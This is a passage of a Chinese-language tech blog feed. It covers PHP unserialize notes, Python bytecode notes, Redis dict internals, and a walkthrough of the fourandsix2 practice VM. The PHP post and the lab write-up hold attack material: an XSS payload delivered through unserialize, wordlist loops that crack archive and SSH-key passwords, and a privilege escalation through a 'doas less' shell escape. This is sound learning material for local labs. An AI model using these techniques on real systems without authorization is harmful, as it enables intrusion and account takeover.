&lt;p&gt;使用&lt;code&gt;unset&lt;/code&gt;函数可以取消键值对映射比如&lt;code&gt;unset($arr[5])&lt;/code&gt;,或者销毁一个数组&lt;code&gt;unset($arr)&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>php反序列化笔记</title><link>https://rayepeng.net/posts/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://rayepeng.net/posts/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AC%94%E8%AE%B0/</guid><pubDate>Tue, 30 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;php 反序列化&lt;/h1&gt;
&lt;p&gt;先看一个栗子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

class Test{
    public $name = &quot;pxy&quot;;
    private $sex = &quot;secret&quot;;
    protected $age = &quot;20&quot;;
}
$test1 = new Test();
$object = serialize($test1);
print_r($object);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;序列化之后得到的结果是：&lt;br /&gt;
&lt;code&gt;O:4:&quot;Test&quot;:3:{s:4:&quot;name&quot;;s:3:&quot;pxy&quot;;s:9:&quot;Testsex&quot;;s:6:&quot;secret&quot;;s:6:&quot;*age&quot;;s:2:&quot;20&quot;;}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;O代表是对象，&lt;code&gt;Test&lt;/code&gt;是类名，之后是属性，不同类型的属性其实序列化之后得到的结果是不一样的。&lt;/p&gt;
&lt;p&gt;看官方文档，解释了为什么需要序列化这种操作：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;serialize() 返回字符串，此字符串包含了表示 value 的字节流，可以存储于任何地方。&lt;br /&gt;
这有利于存储或传递 PHP 的值，同时不丢失其类型和结构。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;同时提到了一个魔术方法：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当序列化对象时，PHP 将试图在序列动作之前调用该对象的成员函数 &lt;strong&gt;sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的，当使用 unserialize() 恢复对象时， 将调用&lt;/strong&gt; wakeup() 成员函数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;__sleep()&lt;/code&gt;和&lt;code&gt;__wakeup()&lt;/code&gt;两个方法很形象地说明了什么时候调用。&lt;/p&gt;
&lt;p&gt;然后我就犯了一个新手很常见的错误：&lt;br /&gt;
&lt;code&gt;__sleep()&lt;/code&gt;方法必须是要返回一个&lt;code&gt;array&lt;/code&gt;地&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/pulCMhV.png&quot; alt=&quot;php3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;原来。。&lt;code&gt;__sleep()&lt;/code&gt;方法是这样子调用的啊&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class Test{
    public $name = &quot;pxy&quot;;
    private $sex = &quot;secret&quot;;
    protected $age = &quot;20&quot;;
    function __sleep(){
        return array(&apos;name&apos;, &apos;sex&apos;, &apos;age&apos;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;实际追踪一下为什么会出现反序列化&lt;/h2&gt;
&lt;p&gt;调试代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class test{
    public $target = &quot;this is a test&quot;;
    function __destruct(){
        echo $this-&amp;gt;target;
    }
}

$a = $_GET[&apos;b&apos;];
$c = unserialize($a);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用思路：传入的参数是可控的，并且这里还有一个&lt;code&gt;test&lt;/code&gt;类和一个&lt;code&gt;__destruct()&lt;/code&gt;魔术方法。&lt;br /&gt;
那就是构造这个对象将其序列化之后传入，之后会自动反序列化同时在对象销毁的时候就会自动执行魔术方法了&lt;/p&gt;
&lt;p&gt;我们这样来写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?
class test{
    public $target = &quot;&amp;lt;script&amp;gt;alert(&apos;xss&apos;);&amp;lt;/script&amp;gt;&quot;;
}

$object = new test();
print_r(serialize($object));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;突然觉得序列化也有一点变量覆盖的味道，我在外部构造的类实例化的对象进入代码之后覆盖了原来的对象？&lt;/p&gt;
&lt;p&gt;调试过程如下：&lt;/p&gt;
&lt;p&gt;生成的序列化字符串如下：&lt;br /&gt;
&lt;code&gt;O:4:&quot;test&quot;:1:{s:6:&quot;target&quot;;s:30:&quot;&amp;lt;script&amp;gt;alert(&apos;xss&apos;);&amp;lt;/script&amp;gt;&quot;;}&lt;/code&gt;&lt;br /&gt;
然后将其作为参数传入进去:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://localhost/test/testUnserialize0.php?b=O:4:%22test%22:1:{s:6:%22target%22;s:30:%22%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%22;}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;此时接收到了参数：&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/rbponzu.png&quot; alt=&quot;php4&quot; /&gt;&lt;br /&gt;
&lt;code&gt;$a&lt;/code&gt;的值为：”O:4:”test”:1:{s:6:”target”;s:30:”\alert(‘xss’);\&amp;lt;/script&amp;gt;“;}”&lt;/p&gt;
&lt;p&gt;继续单步步入：&lt;br /&gt;
这个时候就会去调用魔术方法了&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/ozQZZiw.png&quot; alt=&quot;php5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;xss框框就弹出来啦。&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/W3TNDdl.png&quot; alt=&quot;xss3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来继续研究剩下的魔术方法：先看几个简单的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class test{

    public $name = &apos;P2hm1n&apos;;

    function __construct(){

        echo &quot;__construct()\n&quot;;

    }

    function __destruct(){

        echo &quot;__destruct()\n&quot;;

    }

    function __wakeup(){

        echo &quot;__wakeup()\n&quot;;

    }

    function __toString(){

        return &quot;__toString()&quot;.&quot;\n&quot;;

    }

    function __sleep(){

        echo &quot;__sleep()\n&quot;;

        return array(&quot;name&quot;);

    }
    function __call($funName, $argument){
        echo &quot;调用方法&quot;.$funName.&quot;(:&quot;.&quot;参数:&quot;;
        print_r($argument);
        echo &quot;不存在！\n&quot;;
    }
    public static function __callStatic($funName, $argument){
        echo &quot;调用静态方法&quot;.$funName.&quot;(:&quot;.&quot;参数:&quot;;
        print_r($argument);
        echo &quot;不存在！\n&quot;;        
    }

}

$test1 = new test();
test::hello(&quot;nihao&quot;); //不实例化对象，此时调用的是静态方法
$test1-&amp;gt;hello(&quot;nihao&quot;); //实例化对象
$test2 = serialize($test1);

$test3 = unserialize($test2);

print($test3);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出的结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;调用静态方法hello(:参数:Array
(
    [0] =&amp;gt; nihao
)
不存在！
调用方法hello(:参数:Array
(
    [0] =&amp;gt; nihao
)
不存在！
__sleep()
__wakeup()
__toString()
__destruct()
__destruct()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这几个方法都还挺好区分的，比较难区分的就是&lt;code&gt;__call()&lt;/code&gt;和&lt;code&gt;__callStatic()&lt;/code&gt;方法了。&lt;/p&gt;
&lt;p&gt;TODO&lt;br /&gt;
&lt;a href=&quot;https://segmentfault.com/a/1190000007250604&quot;&gt;十六个魔术方法详解&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>python文档阅读笔记2</title><link>https://rayepeng.net/posts/python%E6%96%87%E6%A1%A3%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B02/</link><guid isPermaLink="true">https://rayepeng.net/posts/python%E6%96%87%E6%A1%A3%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B02/</guid><pubDate>Tue, 30 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;fluent python reading notes&lt;/h1&gt;
&lt;h2&gt;列表推导式&lt;/h2&gt;
&lt;p&gt;最常见的一种写法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;symboles = &apos;ABC%^&amp;amp;*#@$&apos;
beyond_ascii = [ord(s) for s in symboles if ord(s) &amp;gt; 40]
print(beyond_ascii)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是也可以同时用&lt;code&gt;filter&lt;/code&gt;和&lt;code&gt;map&lt;/code&gt;函数来实现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;beyond_ascii = list(filter(lambda x: x &amp;gt; 40, map(ord, symboles)))
print(beyond_ascii)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;map函数将一个函数作用于list中的每一个值上，filter也是对数组中的每一个值作用一个函数，但是只返回为真的数值，python3中最后返回的是一个filter对象&lt;/p&gt;
&lt;p&gt;比如过滤列表中的所有奇数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 过滤出列表中的所有奇数
a = [1,242,45,23,536,1,325,63635,56335]
a_is_odd = list(filter(lambda x: x % 2 != 0, a))
print(a_is_odd)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再比如过滤出1~100中平方根是整数的数字&lt;br /&gt;
所谓整数就是能整除1的数字&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#过滤出1~100中平方根是整数的数

g_is = list(filter(lambda x: math.sqrt(x) % 1 == 0, range(1, 101)))
print(g_is)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;解包&lt;/h2&gt;
&lt;p&gt;如下是一个比较神奇的栗子，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# python解包
colors = [&apos;black&apos;, &apos;white&apos;]
sizes = [&apos;S&apos;, &apos;M&apos;, &apos;L&apos;]
for tshirt in (&apos;%s %s&apos; % (c, s) for c in colors
                                for s in sizes):
    print(tshirt)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里用一个&lt;code&gt;%&lt;/code&gt;将元组进行了拆包&lt;br /&gt;
如何很好地理解列表推导式呢？&lt;/p&gt;
&lt;p&gt;你可以将其想象为一个函数，&lt;code&gt;for c in colors for s in sizes&lt;/code&gt; 返回值是&lt;code&gt;(c, s)&lt;/code&gt; 用一个&lt;code&gt;%&lt;/code&gt;成功地对其进行了拆包转化为字符串形式&lt;/p&gt;
&lt;p&gt;下面这幅图应该比较好理解&lt;br /&gt;
&lt;img src=&quot;/2019/07/30/python-wen-dang-yue-du-bi-ji-2/python_dvmmoijlo.png&quot; alt=&quot;python&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后就有了返回值&lt;br /&gt;
&lt;img src=&quot;/2019/07/30/python-wen-dang-yue-du-bi-ji-2/python0_9np9b5bvn.png&quot; alt=&quot;python0&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然还有这种写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a, b, *rst = range(5)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;陷阱&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;t = (1,2, [30, 40])
t[2] += [50, 60]
print(t)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在一个不可变对象中插入了可变对象！&lt;/p&gt;
&lt;p&gt;虽然报错但是t的值确实被修改了&lt;/p&gt;
&lt;p&gt;对其进行反汇编或者是反编译：&lt;br /&gt;
得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3           0 LOAD_CONST               1 (1)
              3 LOAD_CONST               2 (2)
              6 LOAD_CONST               3 (30)
              9 LOAD_CONST               4 (40)
             12 BUILD_LIST               2
             15 BUILD_TUPLE              3
             18 STORE_FAST               0 (t)

  4          21 LOAD_FAST                0 (t)
             24 LOAD_CONST               2 (2)
             27 DUP_TOP_TWO
             28 BINARY_SUBSCR
             29 LOAD_CONST               5 (50)
             32 LOAD_CONST               6 (60)
             35 BUILD_LIST               2
             38 INPLACE_ADD
             39 ROT_THREE
             40 STORE_SUBSCR
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;作者提出的三个教训：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;不要把可变对象放在元组里面&lt;/li&gt;
&lt;li&gt;增量赋值不是一个原子操作&lt;/li&gt;
&lt;li&gt;查看python的字节码并不难，而且了解代码背后的运行机制很有帮助&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;然后我们就来研究python的字节码&lt;/p&gt;
&lt;h2&gt;python字节码&lt;/h2&gt;
&lt;h3&gt;变量&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;LOAD_FAST一般加载局部变量的值，也就是读取值，用于计算或者函数调用传参等。&lt;br /&gt;
STORE_FAST一般用于保存值到局部变量。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;比如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;61          77 LOAD_FAST                0 (n)
             80 LOAD_FAST                3 (p)
             83 INPLACE_DIVIDE
             84 STORE_FAST               0 (n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;INPLACE_DIVIDE&lt;/code&gt;就是原地除法，先加载n，然后加载p，然后除法，然后保存结果&lt;/p&gt;
&lt;p&gt;对应的就是&lt;/p&gt;
&lt;p&gt;&lt;code&gt;n = n/p&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如何区分函数形参和其他的局部变量？&lt;/p&gt;
&lt;p&gt;形参没有初始化，也就是从函数开始到LOAD_FAST该变量的位置，如果没有看到STORE_FAST，那么该变量就是函数形参。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;4           0 LOAD_CONST               1 (0)
            3 STORE_FAST               1 (local1)

5           6 LOAD_FAST                1 (local1)
            9 PRINT_ITEM
           10 LOAD_FAST                0 (arg1)
           13 PRINT_ITEM
           14 PRINT_NEWLINE
           15 LOAD_CONST               0 (None)
           18 RETURN_VALUE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里&lt;code&gt;arg1&lt;/code&gt;就没有&lt;code&gt;STORE_FAST&lt;/code&gt;&lt;br /&gt;
所以对应的源代码为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def test(arg1):
    local1 = 0
    print local1, arg1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;全局变量&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;LOAD_GLOBAL用来加载全局变量，包括指定函数名，类名，模块名等全局符号。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;8           6 LOAD_CONST               2 (101)
            9 STORE_GLOBAL             0 (global1)
            20 LOAD_GLOBAL              0 (global1)
            23 PRINT_ITEM
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的python代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def test():
    global global1
    global1 = 101
    print global1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常用数据类型&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;BUILD_LIST用于创建一个list结构。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果是用列表推导式呢？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;BUILD_MAP用于创建一个空的dict。STORE_MAP用于初始化dict的内容。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;3           0 LOAD_CONST               1 (&apos;a&apos;)
              3 LOAD_CONST               2 (&apos;1&apos;)
              6 BUILD_MAP                1
              9 STORE_FAST               0 (k)
             12 LOAD_CONST               0 (None)
             15 RETURN_VALUE
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;参考&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/45101508&quot;&gt;死磕python字节码-手工还原python源码&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>redis源码阅读——dict</title><link>https://rayepeng.net/posts/redis%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BBdict/</link><guid isPermaLink="true">https://rayepeng.net/posts/redis%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BBdict/</guid><pubDate>Tue, 30 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;dict类型&lt;/h2&gt;
&lt;p&gt;先看宏定义&lt;/p&gt;
&lt;p&gt;最基本的是dict类型，如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct dict {
    dictType *type;
    void *privdata;
    dictht ht[2];
    PORT_LONG rehashidx; /* rehashing not in progress if rehashidx == -1 */
    int iterators; /* number of iterators currently running */
} dict;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;dictType 是一个结构体，包含了dict的一些基础方法&lt;/li&gt;
&lt;li&gt;privdata 是私有数据&lt;/li&gt;
&lt;li&gt;dictht 是哈希表&lt;/li&gt;
&lt;li&gt;rehashidx 代表是否在进行重哈希，如果不为-1则代表正在进行重哈希&lt;/li&gt;
&lt;li&gt;iterators 代表迭代器，暂时还不太理解&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接下来看哈希表的结构(dictht):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct dictht {
    dictEntry **table;
    PORT_ULONG size;
    PORT_ULONG sizemask;
    PORT_ULONG used;
} dictht;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;table是一个指向&lt;code&gt;dictEntry&lt;/code&gt;的二级指针&lt;/li&gt;
&lt;li&gt;size代表哈希表的大小&lt;/li&gt;
&lt;li&gt;sizemask 总是等于size-1&lt;/li&gt;
&lt;li&gt;used代表该哈希表已有的节点数量&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这是&lt;code&gt;dictht&lt;/code&gt;的构造：&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/graphviz-bd3eecd927a4d8fc33b4a1c7f5957c52d67c5021.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不过这里为什么要二级指针呢？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;可以这样理解，因为&lt;code&gt;dictEntry *&lt;/code&gt;本身就是一个一级指针，同时&lt;code&gt;table&lt;/code&gt;指向的又是一个指针数组，所以这里需要二级指针了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;复习一下数组指针和指针数组的概念&lt;/h3&gt;
&lt;p&gt;数组指针，本质上还是指针&lt;/p&gt;
&lt;p&gt;&lt;code&gt;int (*p)[n]&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;()&lt;/code&gt;运算优先级更高，&lt;code&gt;*&lt;/code&gt;优先与p结合，p还是一个指针，不过p指向的是一个数组，这时候&lt;code&gt;p+1&lt;/code&gt;运算的步长就是&lt;code&gt;n&lt;/code&gt;,故这样的指针也叫行指针&lt;/p&gt;
&lt;p&gt;指针数组&lt;br /&gt;
&lt;code&gt;int *p[n]&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;[]&lt;/code&gt;优先级更高，p先与方括号结合，这时候p代表的是一个数组，这个数组中每个元素都是一个指针，故此时p就是二级指针&lt;/p&gt;
&lt;p&gt;之后继续看&lt;code&gt;dictEntry&lt;/code&gt;类型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct dictEntry {
    void *key;
    union {
        void *val;
        uint64_t u64;
        int64_t s64;
        double d;
    } v;
    struct dictEntry *next;
} dictEntry;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里面存储了key-value键值对，其中&lt;code&gt;key&lt;/code&gt;是一个&lt;code&gt;void*&lt;/code&gt;类型的指针，可以代表任意类型的数据，但是&lt;code&gt;value&lt;/code&gt;是一个联合体，可以在指针，整数和浮点数中取值&lt;/p&gt;
&lt;p&gt;&lt;code&gt;next&lt;/code&gt;属性是指向另一个哈希表节点的指针， 这个指针可以将多个哈希值相同的键值对连接在一次， 以此来解决键冲突（collision）的问题&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/dictentry.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://redisbook.com/preview/dict/datastruct.html&quot;&gt;字典的实现&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://zhangtielei.com/posts/blog-redis-dict.html&quot;&gt;Redis内部数据结构详解(1)——dict&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.cnblogs.com/hongcha717/archive/2010/10/24/1859780.html&quot;&gt;数组指针和指针数组的区别&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>redis源码阅读——sds</title><link>https://rayepeng.net/posts/redis%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BBsds/</link><guid isPermaLink="true">https://rayepeng.net/posts/redis%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BBsds/</guid><pubDate>Tue, 30 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;从redis源码开始&lt;/h2&gt;
&lt;p&gt;都说写代码是在表达自己，阅读代码是在理解别人，尤其是阅读高质量的源代码，于是便从头开始读起了redis的源码&lt;/p&gt;
</content:encoded></item><item><title>靶机渗透</title><link>https://rayepeng.net/posts/%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F/</guid><pubDate>Tue, 30 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;fourandsix2靶机&lt;/h2&gt;
&lt;p&gt;一开机就可以看到IP地址位192.168.41.132&lt;/p&gt;
&lt;p&gt;然后nmap开始扫描&lt;br /&gt;
&lt;code&gt;nmap -A -n -v -Pn -A 192.168.41.132&lt;/code&gt;&lt;br /&gt;
-A Enable OS detection, version detection, script scanning, and traceroute&lt;br /&gt;
-n -n/-R: Never do DNS resolution/Always resolve [default: sometimes]&lt;br /&gt;
-Pn Treat all hosts as online — skip host discovery&lt;/p&gt;
&lt;p&gt;扫描的报告：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Nmap scan report for 192.168.41.132
Host is up (0.00059s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 ef:3b:2e:cf:40:19:9e:bb:23:1e:aa:24:a1:09:4e:d1 (RSA)
|   256 c8:5c:8b:0b:e1:64:0c:75:c3:63:d7:b3:80:c9:2f:d2 (ECDSA)
|_  256 61:bc:45:9a:ba:a5:47:20:60:13:25:19:b0:47:cb:ad (ED25519)
111/tcp  open  rpcbind 2 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3         2049/tcp  nfs
|   100003  2,3         2049/udp  nfs
|   100005  1,3          780/udp  mountd
|_  100005  1,3          917/tcp  mountd
2049/tcp open  nfs     2-3 (RPC #100003)
MAC Address: 00:0C:29:81:23:53 (VMware)
Device type: general purpose
Running: OpenBSD 6.X
OS CPE: cpe:/o:openbsd:openbsd:6
OS details: OpenBSD 6.0 - 6.1
Uptime guess: 0.000 days (since Sat Jul 20 02:04:15 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Randomized

TRACEROUTE
HOP RTT     ADDRESS
1   0.59 ms 192.168.41.132
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;难得一次nmap可以扫出这么多信息&lt;br /&gt;
看到靶机开放了2049号端口，是nfs服务，那么尝试扫描可以挂载的目录&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;-sV : Probe open ports to determine service/version info&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;nmap -sV --script=nfs-showmount 192.168.41.132&lt;/code&gt;&lt;br /&gt;
扫描可以挂载的目录&lt;/p&gt;
&lt;p&gt;结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9 (protocol 2.0)
111/tcp  open  rpcbind 2 (RPC #100000)
| nfs-showmount:
|_  /home/user/storage
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3         2049/tcp  nfs
|   100003  2,3         2049/udp  nfs
|   100005  1,3          780/udp  mountd
|_  100005  1,3          917/tcp  mountd
2049/tcp open  nfs     2-3 (RPC #100003)
MAC Address: 00:0C:29:81:23:53 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很好，那就可以挂载目录了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~# nfspysh -o server=192.168.41.132:/home/user/storage /tmp/test/
nfspy@192.168.41.132:/home/user/storage:/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nfspysh的用法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~# nfspysh -h
Usage: nfspysh [options]

Options:
  -h, --help  show this help message and exit
  -l          List mount options available
  -o OPTIONS  Mount options as in nfspy
  -c COMMAND  Semicolon-separated commands to run (batch mode)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目录下有一个压缩包&lt;br /&gt;
&lt;code&gt;get backup.7z&lt;/code&gt;&lt;br /&gt;
然后尝试用7z去解压缩，但是有密码&lt;/p&gt;
&lt;p&gt;于是用&lt;code&gt;john&lt;/code&gt;去破解&lt;/p&gt;
&lt;p&gt;然而爆破有点慢&lt;/p&gt;
&lt;p&gt;不过密码就是&lt;code&gt;chocolate&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;ps.kali里面其实有很多字典的，比如&lt;code&gt;/usr/share/john/password.lst&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;解压缩之后得到的是一个公钥和私钥&lt;/p&gt;
&lt;p&gt;通过下面这段脚本爆破出密码是12345678&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:/tmp# cat /usr/share/john/password.lst | while read pass; do if ssh-keygen -c -C &quot;user@192.168.41.132&quot; -P $pass -f id_rsa &amp;amp;&amp;gt;/dev/null; then echo $pass; break; fi; done
12345678
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就可以登陆了&lt;br /&gt;
&lt;code&gt;ssh -i id_rsa user@192.168.41.132&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;之前一直尝试没登陆成功，因为我忘记赋权了&lt;br /&gt;
也就是&lt;br /&gt;
&lt;code&gt;chmod 600 id_rsa&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后就可以登陆了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:/tmp# ssh -i id_rsa user@192.168.41.132
Enter passphrase for key &apos;id_rsa&apos;:
Last login: Mon Oct 29 13:53:51 2018 from 192.168.1.114
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

fourandsix2$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如下是错误的做法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:/tmp# ssh -i id_rsa user@192.168.41.132
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0777 for &apos;id_rsa&apos; are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登陆之后&lt;/p&gt;
&lt;p&gt;没办法直接访问root文件夹&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fourandsix2$ ls /root/
ls: /root/: Permission denied
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来这波操作很不明白&lt;/p&gt;
&lt;p&gt;输入&lt;br /&gt;
&lt;code&gt;doas /usr/bin/less /var/log/authlog&lt;/code&gt;&lt;br /&gt;
然后按v进入编辑模式&lt;br /&gt;
之后输入&lt;code&gt;:!/bin/sh&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/rU9dNJP.png&quot; alt=&quot;four&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是就提权了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fourandsix2# whoami
root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fourandsix2# cat /root/flag.txt                                                                                                                                             
Nice you hacked all the passwords!

Not all tools worked well. But with some command magic...:
cat /usr/share/wordlists/rockyou.txt|while read line; do 7z e backup.7z -p&quot;$line&quot; -oout; if grep -iRl SSH; then echo $line; break;fi;done

cat /usr/share/wordlists/rockyou.txt|while read line; do if ssh-keygen -p -P &quot;$line&quot; -N password -f id_rsa; then echo $line; break;fi;done

Here is the flag:
acd043bc3103ed3dd02eee99d5b0ff42
